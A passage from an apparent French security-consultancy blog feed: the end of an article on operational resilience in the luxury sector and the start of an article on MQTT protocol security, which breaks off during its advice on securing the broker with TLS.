<p style="text-align: justify;">Les entités du secteur luxe, de par leur caractère « manufacturing », disposent souvent de nombreux sites éloignés géographiquement, accueillant des métiers variés.  Ces éléments doivent être pris en compte pour adapter le dispositif de gestion de crise et la réalisation d’exercices pertinents.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Pilier 6 : La résilience du SI</h5>
<p style="text-align: justify;">Compte tenu de son rôle central et de la complexité technique qu’il implique, le système d’information nécessite une vigilance particulière afin d’être suffisamment protégé contre les menaces et de garantir la continuité de ses services vitaux, même en situation dégradée.</p>
<p style="text-align: justify;">Dans le secteur du luxe, où la digitalisation des processus demeure relativement récente, voire encore en cours, se dessine une opportunité stratégique majeure : celle d’intégrer les enjeux de résilience dès la phase de conception.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Pilier 7 : L’existence d’une gouvernance et d’une culture de résilience</h5>
<p style="text-align: justify;">Au cœur de la démarche, l’élaboration d’une stratégie de résilience opérationnelle s’impose, sous la conduite de responsables clairement identifiés.</p>
<p style="text-align: justify;">Il est tout aussi essentiel de capitaliser sur la culture d’entreprise propre à chaque maison du luxe — véritable levier d’engagement des collaborateurs — en y intégrant progressivement une culture de la résilience.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;"><strong>L’état de la résilience opérationnelle dans le secteur du luxe</strong></h3>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;">Pour établir cet état des lieux, nous nous sommes appuyés sur les résultats de notre CyberBenchmark et de notre OpResBenchmark. Ces deux outils permettent respectivement d’évaluer le niveau de maturité des entités en matière de cybersécurité et de résilience opérationnelle des entités, tout en les positionnant par rapport au reste du marché.</p>
<p style="text-align: justify;">La combinaison de ces deux outils nous a permis de consolider les données issues de l’évaluation de plus de 150 entités, dont un nombre significatif du secteur luxe. Ces éléments nous permettent de proposer la vue ci-dessous, qui illustre le niveau de maturité du secteur sur l’ensemble des 7 piliers de la résilience opérationnelle.</p>
<p> </p>
<p style="text-align: justify;"><em> <img loading="lazy" decoding="async" class="aligncenter wp-image-27895 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/Illustration-FR-1.png" alt="" width="1432" height="705" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/Illustration-FR-1.png 1432w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/Illustration-FR-1-388x191.png 388w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/Illustration-FR-1-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/Illustration-FR-1-768x378.png 768w" sizes="auto, (max-width: 1432px) 100vw, 1432px" /></em></p>
<p style="text-align: center;"><em>D’après les données 2025 du </em><a href="https://www.wavestone.com/fr/insight/cyber-benchmark-2025-des-progres-mesures-des-defis-persistants/"><em>Cyberbenchmark et de l’OpRes Benchmark de Wavestone</em></a></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">À la lecture de ces données, le constat le plus évident s’effectue au niveau de la moyenne du marché<a href="#_ftn6" name="_ftnref6">[6]</a> (47,5%) : les entités, tous secteurs confondus, se révèlent peu résilientes. Mais des fortes disparités existent en fonction notamment du niveau de réglementation des différents secteurs. Tout naturellement, la finance, en pleine mise en conformité à DORA (Digital Operational Resilience Act), a un très bon niveau de maturité sur l’ensemble des piliers. De son côté, le secteur de l’énergie, réglementé lui aussi, doit prendre en compte des systèmes industriels complexes et de lourds infrastructures historiques, compliquant sa résilience opérationnelle.</p>
<p style="text-align: justify;">Le contexte de ces 5 dernières années, particulièrement éprouvant pour la continuité des entités (COVID-19, conflits armés, croissance de la menace cyber, etc.), ainsi que la consécration du concept de résilience opérationnelle dans plusieurs textes réglementaires (ex : DORA, CER, CRA, NIS 2) semble inverser la tendance. Nous voyons de plus en plus d’entités prendre conscience de l’importance de la résilience opérationnelle et commencer à lancer des chantiers conséquents pour adresser le sujet.</p>
<p style="text-align: justify;">En termes de maturité, le secteur du luxe fait partie de ceux qui se démarquent avec une moyenne de 53,4%. Même s’il n’est pas directement visé par la règlementation, nous avons remarqué une prise en main du sujet, notamment par les CISO des Maisons de luxe qui ont initié de nombreux chantiers liés à la résilience. Habitué à la recherche d’excellence, le luxe s’empare donc du sujet même s’il n’y est pas contraint, convaincu qu’il s’agit d’un enjeu d’avenir pour lui. Cette position semble même lui permettre de tirer parti des bonnes pratiques consacrées par la règlementation, en allant à l’essentiel, sans se préoccuper des contraintes liées à la conformité et aux contrôles menés par les autorités (reporting d’incident, préparation des audits, partage de preuves…).</p>
<p style="text-align: justify;">En pratique, cela se traduit par une avance du secteur sur la résilience opérationnelle par rapport à un certain nombre d’autres secteurs d’activité non régulés, même si on reste aux débuts de l’histoire.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Sur la gestion de crise et la résilience SI</h5>
<p style="text-align: justify;">Les conséquences d’une crise mal maîtrisée sont souvent majeures, tant sur le plan financier, juridique que réputationnel. On peut aisément imaginer pour une maison de luxe, l’impact d’une incapacité à encaisser les clients ou d’un incendie affectant un entrepôt de matières premières. Le luxe s’est ainsi structuré depuis longtemps pour gérer les crises auxquelles il est confronté.</p>
<p style="text-align: justify;">Or, ces crises trouvent désormais très fréquemment leur origine dans des incidents touchant les systèmes d’information.</p>
<p style="text-align: justify;">En 2022, 62 % des entreprises du secteur du luxe ont été victimes de rançongiciels, engendrant des pertes financières moyennes de l’ordre de cinq millions d’euros par incident. Parallèlement, les données volées circulent de plus en plus sur le Dark Web. Selon Dark Web Monitor, les annonces proposant des informations sensibles – plans de produits à venir, stratégies marketing confidentielles – ont augmenté de 78 %. À titre d’exemple, en 2022, la maison italienne Moncler a subi un vol de données, avec une demande de rançon de trois millions de dollars visant à empêcher la divulgation d’informations relatives à ses clients les plus aisés<a href="#_ftn7" name="_ftnref7">[7]</a>.</p>
<p style="text-align: justify;">La gestion de crise repose ainsi largement sur les dispositifs de résilience informatique, qui matérialisent les décisions prises au sein de la cellule de crise. Ces dispositifs incluent notamment les sauvegardes, le blocage des flux, ou encore les solutions de contournement. Par ailleurs, ils jouent un rôle primordial dans la prévention et la détection des incidents, grâce à des outils tels que les EDR, sondes IDS et IPS, le déploiement automatisé de correctifs et les tests réguliers des configurations.</p>
<p style="text-align: justify;"> </p>
<h5>Sur la gestion des risques liés aux tiers</h5>
<p style="text-align: justify;">La maturité du secteur sur ce pilier s’explique notamment par la conscience historique des entreprises du luxe quant à la criticité de leurs chaînes de valeur, tant en amont (approvisionnement en cuir, soie, pierres précieuses…) qu’en aval (distribution des produits finis). Ces chaînes de valeur impliquent de nombreux prestataires externes – extraction, transport maritime ou routier, hubs logistiques – dont une défaillance peut entraîner des conséquences commerciales majeures.</p>
<p style="text-align: justify;">Parmi les fournisseurs des grandes maisons de luxe, on retrouve fréquemment de petites entreprises artisanales, détentrices de savoir-faire rares et difficilement substituables. À première vue, leur petite taille pourrait faire craindre une faible maturité en matière de gestion des risques. Cependant, du fait de leur valeur stratégique, ces artisans sont l’objet d’une attention particulière. Les maisons de luxe adoptent une approche collaborative pour les accompagner dans la gestion de leurs risques, y compris dans le domaine IT, bien que l’informatique reste souvent limitée dans ces structures artisanales. Cette collaboration se manifeste par des audits réguliers, le partage de bonnes pratiques, et dans certains cas, des acquisitions permettant une intégration complète et une montée en maturité selon les standards de la Maison de luxe.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Sur la connaissance des activités et actifs vitaux</h5>
<p style="text-align: justify;">Ce pilier de connaissance est particulièrement complexe à bien maitriser pour les entités du luxe qui sont généralement divisées en maisons/entités aux métiers très différents, parfois réparties sur plusieurs continents. Cette structure donne une autonomie certaine aux différents métiers, et est susceptible de compliquer le bon partage d’informations avec les équipes en charge de la résilience au niveau groupe.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Sur la gouvernance et l’acculturation résilience</h5>
<p style="text-align: justify;">Ce pilier est le moins bien maitrisé par le secteur. Le luxe est même légèrement au-dessous de la moyenne du marché. En effet, les rôles et responsabilités sont rarement correctement définis et une comitologie commune est inexistante. Ainsi, plusieurs projets similaires sont susceptibles de se concurrencer, ou d’être traités de manière incomplète (ex : d’un point de vue IT sans considération de BIA réalisés par les métiers).</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;"><strong>Nos recommandations pour améliorer la résilience opérationnelle du luxe</strong></h3>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;">Wavestone accompagne plusieurs entités, de tous secteurs, dans leur démarche de résilience opérationnelle. Prenant en compte les spécificités du luxe évoquées précédemment, nous identifions 4 recommandations.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>S’inspirer, en restant pragmatique, des règlementations (DORA, CER, NIS 2, Solvabilité 2, LPM, etc.) :</strong> le luxe n’y est pas directement soumis, pourtant il est pertinent d’en tirer parti en les considérant comme des référentiels de bonnes pratiques. Avec DORA, le secteur financier avance rapidement sur le sujet et son retour d’expérience peut être utile au secteur du luxe. Il convient, bien entendu, de rester pragmatique et ne retenir que les mesures pertinentes au regard de l’entité du luxe concernée et de ses spécificités. Il s’agit en particulier d’éviter de surcharger les métiers avec les exigences purement réglementaires, qui ont surtout vocation à permettre aux autorités de contrôle de remplir leur rôle.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>Tester et tirer des leçons :</strong> les tests sont une composante essentielle d’une stratégie de résilience opérationnelle. C’est par les tests qu’il est possible de mesurer l’efficacité d’une solution de continuité (PCA, PRA, outils de gestion de crise, etc.) pour en tirer des leçons et les améliorer en continu. Notamment, les tests de pénétration fondés sur la menace (décrits notamment dans DORA et dans le framework TIBER-EU), permettent de tester de bout en bout des équipes opérationnelles, en incluant les tiers, et peuvent, à ce titre être riches en enseignements en dehors du secteur financier. </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>Disposer d’une stratégie au niveau Groupe : </strong> elle permet d’éviter la prise d’initiatives contradictoires au niveau des entités et/ou entre les équipes IT/Cyber et les métiers, mais aussi gagner en efficience. En outre, cette stratégie permet de fixer un niveau de maturité cible, adapté aux besoins propres de chaque entité.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>Capitaliser sur l’existant :</strong> en raison de ses spécificités, les entités du luxe sont susceptibles d’avoir mis en place des solutions de continuité, et/ou des comitologies adaptées à la résilience opérationnelle (gestion des tiers, de crise, chantiers de cybersécurité, etc.). Il convient de ne pas repartir d’une feuille blanche mais au contraire de capitaliser sur cet existant pour engager une démarche sur-mesure.</p>
<p> </p>
<p> </p>
<p style="text-align: justify;"><a href="#_ftnref1" name="_ftn1">[1]</a> Luxury in Transition: Securing Future Growth, Bain &amp; Company.</p>
<p style="text-align: justify;"><a href="#_ftnref2" name="_ftn2">[2]</a> CAC 40, premier indice boursier français.</p>
<p style="text-align: justify;"><a href="#_ftnref3" name="_ftn3">[3]</a> Le luxe français : pourquoi ce secteur déjoue toutes les crises, La Fabrique de l’industrie</p>
<p style="text-align: justify;"><a href="#_ftnref4" name="_ftn4">[4]</a> Doctrine interarmées, DIA-3.4.1_RESILIENCE, N° 23/ARM/CICDE/NP du 08 février 2022.</p>
<p style="text-align: justify;"><a href="#_ftnref5" name="_ftn5">[5]</a> Cette norme détaille les caractéristiques d’un « système de management de la continuité d’activité ».</p>
<p style="text-align: justify;"><a href="#_ftnref6" name="_ftn6">[6]</a> Le marché est constitué de l’ensemble des organisations ayant sollicité Wavestone pour évaluer leur maturité (+150 ces 5 dernières années).</p>
<p style="text-align: justify;"><a href="#_ftnref7" name="_ftn7">[7]</a> À quels enjeux de cybersécurité les grands noms du luxe sont-ils confrontés ?, L’Usine Digitale</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/10/la-resilience-operationnelle-dans-le-secteur-du-luxe/">La résilience opérationnelle dans le secteur du luxe</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/10/la-resilience-operationnelle-dans-le-secteur-du-luxe/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>La sécurité du protocole MQTT</title>
		<link>https://www.riskinsight-wavestone.com/2025/10/la-securite-du-protocole-mqtt/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/10/la-securite-du-protocole-mqtt/#respond</comments>
		
		<dc:creator><![CDATA[Madeline Salles]]></dc:creator>
		<pubDate>Wed, 01 Oct 2025 07:36:51 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & smart products]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27834</guid>

					<description><![CDATA[<p>« Smart homes », « Smart devices » ou « Smart cities » : ces expressions illustrent l’ancrage de l’Internet des Objets dans notre quotidien. Au cœur de ces technologies, le protocole MQTT joue un rôle discret mais essentiel. Quelles...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/10/la-securite-du-protocole-mqtt/">La sécurité du protocole MQTT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><span data-teams="true"><strong>« Smart homes », « Smart devices » ou « Smart cities » : ces expressions illustrent l’ancrage de l’Internet des Objets dans notre quotidien. Au cœur de ces technologies, le protocole MQTT joue un rôle discret mais essentiel. Quelles méthodes pour le sécuriser face aux défis croissants de l&rsquo;IoT ?</strong></span></p>
<p><span data-contrast="auto">En 2024, on estimait le nombre d’appareils IoT connectés dans le monde à environ 18 milliards, soit plus de deux fois la population mondiale. Des alarmes connectées aux ascenseurs intelligents, en passant par les capteurs industriels ou les dispositifs médicaux, ces technologies rythment désormais notre quotidien.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">Les récentes avancées dans le domaine de l’IoT ont transformé la façon dont nous interagissons avec les objets connectés. Conçus pour être intuitifs, ils sont accessibles sans expertise spécifique. Les connexions entre ces derniers, souvent sans fil, passent presqu’inaperçues aux yeux des utilisateurs. Pourtant, derrière cette apparente simplicité se cachent des protocoles de communication élaborés dont MQTT fait partie.  </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">En raison de sa popularité et de sa présence croissante au sein d’opérations sensibles, MQTT fait depuis plusieurs années l’objet de recherches quant aux risques liés à son utilisation. Nous nous intéresserons ici à son fonctionnement, ses vulnérabilités potentielles ainsi qu’aux bonnes pratiques permettant d’assurer la sécurité des communications.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h1><span data-contrast="none">MQTT et les raisons de sa popularité</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h1>
<h2><span data-contrast="none">Les forces de ce protocole</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:120}"> </span></h2>
<p><span data-contrast="auto">Développé en 1999 par Andy Stanford-Clark (IBM) et Arlen Nipper (Arcom), l’objectif derrière la conception de MQTT était de fournir une solution</span><b><span data-contrast="auto"> légère</span></b><span data-contrast="auto">, </span><b><span data-contrast="auto">efficace</span></b><span data-contrast="auto">, avec </span><b><span data-contrast="auto">une faible consommation d’énergie </span></b><span data-contrast="auto">et </span><b><span data-contrast="auto">de bande passante</span></b><span data-contrast="auto"> pour surveiller des oléoducs isolés dans le désert par le biais d’une liaison satellitaire</span><i><span data-contrast="auto">.</span></i><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">Si MQTT s’est aujourd’hui établi comme une référence pour la transmission de données IoT, c’est précisément pour ces propriétés fondamentales. Ce protocole est par ailleurs fréquemment utilisé pour la </span><b><span data-contrast="auto">remontée de données</span></b><span data-contrast="auto"> provenant de capteurs ou d’objets connectés vers des</span><b><span data-contrast="auto"> plateformes Cloud</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h2><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:120}"><img loading="lazy" decoding="async" class="size-full wp-image-27849 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_1.png" alt="" width="1176" height="561" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_1.png 1176w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_1-400x191.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_1-768x366.png 768w" sizes="auto, (max-width: 1176px) 100vw, 1176px" /></span></h2>
<p style="text-align: center;"><i><span data-contrast="auto">Figure 1 – Caractéristiques principales de MQTT</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:0}"> </span></p>
<h2><span data-contrast="none">Son fonctionnement</span></h2>
<p><b><i><span data-contrast="none">Définitions des termes clés</span></i></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><b><span data-contrast="auto">Client MQTT : </span></b><span data-contrast="auto">Un dispositif échangeant des informations.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><b><span data-contrast="auto">Broker MQTT : </span></b><span data-contrast="auto">Une entité intermédiaire permettant à des clients MQTT de communiquer et par laquelle tous les messages MQTT transitent. En particulier, le broker reçoit les messages publiés et les distribue aux destinataires concernés (les abonnés au topic correspondant).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><b><span data-contrast="auto">Topic : </span></b><span data-contrast="auto">Une chaine de caractères permettant de filtrer et d’organiser les messages selon une structure hiérarchique. Lorsqu’un client publie un message, il l’associe à un topic.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><b><span data-contrast="auto">Publish/Subscribe :</span></b><span data-contrast="auto"> Modèle dérivé du Client/Serveur classique pour lequel les demandes ne sont pas initiées par un client demandant des ressources à un serveur mais par un serveur envoyant régulièrement des mises à jour à des clients sans sollicitation active.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">MQTT est un protocole de communication « Machine à Machine » ou M2M qui opère selon un </span><b><span data-contrast="auto">modèle Publish/Subscribe</span></b><span data-contrast="auto"> ce qui permet une grande souplesse dans son implémentation.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">Les clients MQTT peuvent endosser le rôle de </span><b><span data-contrast="auto">publisher</span></b><span data-contrast="auto">, </span><b><span data-contrast="auto">subscriber</span></b><span data-contrast="auto"> ou </span><b><span data-contrast="auto">les deux</span></b><span data-contrast="auto">.  </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">Afin de recevoir les informations dont ils ont besoin, les</span><b><span data-contrast="auto"> subscribers</span></b><span data-contrast="auto"> s’abonnent à des </span><b><span data-contrast="auto">rubriques</span></b><span data-contrast="auto"> ou </span><b><span data-contrast="auto">topics</span></b><span data-contrast="auto"> (1), généralement organisés de manière hiérarchique au sein du broker (ex. Maison/Chambre/…). Dès lors qu’un </span><b><span data-contrast="auto">publisher</span></b><span data-contrast="auto"> aura émis un message destiné aux abonnés de ce topic (2), ils seront notifiés par le </span><b><span data-contrast="auto">broker</span></b><span data-contrast="auto"> (3).   </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">De ce fait, les clients MQTT ne sont pas contraints de partager un même réseau, ni d’être actifs au même moment et ne nécessitent pas de synchronisation entre eux. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:0}"> <img loading="lazy" decoding="async" class="size-full wp-image-27851 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_2.png" alt="" width="1371" height="414" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_2.png 1371w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_2-437x132.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_2-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_2-768x232.png 768w" sizes="auto, (max-width: 1371px) 100vw, 1371px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="auto">Figure 2 – Illustration d’une architecture MQTT simplifiée</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">Par ailleurs, MQTT propose un </span><b><span data-contrast="auto">mécanisme de « Qualité de Service »</span></b><span data-contrast="auto"> de ses messages permettant d’adapter les communications aux exigences de l’application. Il est ainsi capable, par exemple, de garantir la livraison des messages en cas de connexion instable. Les clients MQTT peuvent sélectionner un niveau parmi trois de « QoS » pour la distribution de leurs messages :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<ul>
<li><b><span data-contrast="none">QoS 0</span></b><span data-contrast="auto"> « </span><b><i><span data-contrast="auto">Au plus une fois » </span></i></b><span data-contrast="auto">– Le message sera distribué une fois ou pas distribué du tout, sans accusé de réception.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="none">QoS 1</span></b><span data-contrast="auto"> « </span><b><i><span data-contrast="auto">Au moins une fois » </span></i></b><span data-contrast="auto">– Le message sera distribué périodiquement tant que l’expéditeur n’aura pas reçu d’accusé de réception.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="none">QoS 2</span></b><span data-contrast="auto"> « </span><b><i><span data-contrast="auto">Une seule fois » </span></i></b><span data-contrast="auto">– Le message est garanti d’être distribué et une seule fois.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
</ul>
<p><span data-contrast="auto">Le niveau de « QoS » choisi a également une incidence sur la </span><b><span data-contrast="auto">durée de stockage du message localement</span></b><span data-contrast="auto"> auprès de l’expéditeur et du destinataire.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">Cette architecture permet d’établir des </span><b><span data-contrast="auto">communications décentralisées</span></b><span data-contrast="auto"> et </span><b><span data-contrast="auto">extensibles (scalable)</span></b><span data-contrast="auto">. Ces caractéristiques s’avèrent particulièrement avantageuses dans le domaine de l’IoT où la flexibilité est essentielle pour répondre à la diversité des cas d’usage. Elles expliquent également pourquoi MQTT dépasse largement le cadre de l’IoT et trouve des applications dans de nombreux autres environnements tels que la télémétrie et la surveillance industrielle.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h1><span data-contrast="none">MQTT est-il vulnérable ?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h1>
<p><span data-contrast="auto">A l’instar de nombreux autres protocoles de communication, MQTT n’est </span><b><span data-contrast="auto">pas sécurisé par défaut</span></b><span data-contrast="auto">. Bien que la plupart de ses implémentations intègrent à présent des solutions de sécurité robustes, certaines faiblesses et erreurs de configurations persistent, rendant les systèmes vulnérables.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">Pour souligner ces notions, nous nous intéresserons à un exemple standard d’utilisation de ce protocole en milieu industriel</span><i><span data-contrast="auto">.</span></i><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p style="text-align: center;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}" data-wp-editing="1"><img loading="lazy" decoding="async" class="alignnone  wp-image-27853 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_3.png" alt="" width="683" height="598" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_3.png 943w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_3-218x191.png 218w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_3-45x39.png 45w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_fr_3-768x673.png 768w" sizes="auto, (max-width: 683px) 100vw, 683px" /><i style="font-size: revert; color: initial;"><span data-contrast="auto">Figure 3 – Illustration d’un exemple d’utilisation industrielle de MQTT</span></i><span style="font-size: revert; color: initial;" data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:0}"> </span></span></p>
<p><span data-contrast="auto">Dans ce scénario, tous les systèmes représentés contiennent un client MQTT permettant de souscrire ou de s’abonner à des topics et de communiquer avec le broker « on-premise ». Les </span><b><span data-contrast="auto">communications MQTT ne sont pas chiffrées</span></b><span data-contrast="auto"> et il n’y </span><b><span data-contrast="auto">aucune authentification du broker ou des clients</span></b><span data-contrast="auto">, laissant la possibilité à un attaquant </span><b><span data-contrast="auto">d’accéder aux données de production échangées</span></b><span data-contrast="auto"> en clair ou de </span><b><span data-contrast="auto">transmettre des ordres aux équipements</span></b><span data-contrast="auto"> en usurpant l’identité du broker ou de l’un de ces clients.</span><span data-ccp-props="{&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559685&quot;:0}"> </span></p>
<h1><span data-contrast="none">Comment se protéger ?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h1>
<p><span data-contrast="auto">Pour se protéger efficacement contre ces risques, le broker et les clients MQTT doivent être déployés et configurés avec vigilance. Nous proposons ici différentes étapes de sécurisation afin d’assurer la confidentialité, l’intégrité, l’authenticité et la disponibilité des communications de bout en bout.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h2 aria-level="4"><span data-contrast="none">Sécurisation du broker MQTT</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:120}"> </span></h2>
<h3><span data-contrast="none">Activation du chiffrement par défaut des communications</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h3>
<p><span data-contrast="auto">Lorsque le </span><b><span data-contrast="auto">port 8883 </span></b><span data-contrast="auto">est l’unique port MQTT défini, les tentatives de communication non-chiffrées sur le broker sont rejetées. Par ailleurs, il est essentiel que le broker ait accès à un </span><b><span data-contrast="auto">certificat </span></b><span data-contrast="auto">ainsi qu’une</span><b><span data-contrast="auto"> clé privée valides</span></b><span data-contrast="auto"> et que la </span><b><span data-contrast="auto">suite cryptographique</span></b><span data-contrast="auto"> utilisée soit </span><b><span data-contrast="auto">sécurisée</span></b><span data-contrast="auto"> (par exemple TLS 1.2 ou 1.3). </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><img loading="lazy" decoding="async" class=" wp-image-27841 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_4.png" alt="" width="656" height="407" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_4.png 1036w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_4-308x191.png 308w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_4-63x39.png 63w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_4-768x477.png 768w" sizes="auto, (max-width: 656px) 100vw, 656px" /></p>
